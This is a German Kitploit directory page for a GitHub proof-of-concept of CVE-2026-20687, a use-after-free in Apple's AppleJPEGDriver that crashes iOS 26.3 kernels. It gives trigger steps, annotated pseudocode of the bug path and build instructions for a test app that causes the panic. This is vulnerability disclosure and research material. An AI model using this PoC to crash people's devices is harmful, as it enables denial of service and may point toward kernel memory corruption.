Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/0xjohnnydev/cve-2026-20687-applejpegdriver-uaf
iOS-SicherheitSchwachstellenanalyseExploitationMobile SicherheitBinary-Exploitation
GitHub0xjohnnydev/cve-2026-20687-applejpegdriver-uaf

CVE-2026-20687-AppleJPEGDriver-UAF

CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — iOS/macOS-Kernel-Schwachstelle, die zu einem verzögerten Panic führt (A19 Pro, iOS 26.3 RC)

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Webseite
193vor 4 MonatenNoch nicht geprüft
Teilen

CVE-2026-20687: AppleJPEGDriver startDecoder() Timeout UAF (verzögerter Panic)

CVE-2026-20687 | Autor: Johnny Franks (@zeroxjf)

Komponente: Kernel

Auswirkung: Eine App kann möglicherweise einen unerwarteten Systemabsturz verursachen oder Kernel-Speicher beschreiben

Beschreibung: Ein Use-after-free-Problem wurde durch verbessertes Speichermanagement behoben.

— Apple Security Content, iOS 26.4 und iPadOS 26.4

Dies führt zu einem Kernel-Panic auf deinem Gerät. Speichere deine Arbeit.

Getestet auf iOS 26.3 (23D125) auf iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

Auslöser

Direkter Auslöser:

  1. Führe den PoC aus und tippe auf Panic (initialisiert den Treiber / stellt asynchrone Arbeit in die Warteschlange).
  2. Öffne dann die Kamera (dies verursacht zuverlässig eine synchrone JPEG-Dekodierung + Timeout auf dem betroffenen Build).
  3. Der Timeout-Pfad gibt eine Anfrage frei, lässt aber ihren eingebetteten Warteschlangen-Knotenzeiger im Per-Codec-Vektor zurück.
  4. Ein späterer Warteschlangen-Durchlauf dereferenziert den veralteten Knoten und der Kernel stürzt ab (MTE-Tag-Prüfungsfehler).
root@kitploit:~
// PoC: initialisiert den Treiber; Panic ist normalerweise verzögert, bis die Kamera geöffnet wird.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Später löst das Öffnen der Kamera Folgendes aus:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // FEHLER: entfernt NICHT aus der Warteschlange (req + 0x78)

// Noch später (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // veraltet: node_ptr == (freigegebenes req + 0x78)
  req2 = *(node_ptr + 0x8);              // UAF-Lesen von req+0x80 -> MTE-Tag-Fehler -> Panic

Build & Ausführen

  1. Öffne ios-app/Test.xcodeproj in Xcode
  2. Wähle dein iOS-Gerät aus (Simulator ist nicht hilfreich)
  3. Baue und führe aus
  4. Tippe auf die Schaltfläche Panic
  5. Öffne die Kamera-App, um den verzögerten Panic auszulösen
Tool herunterladen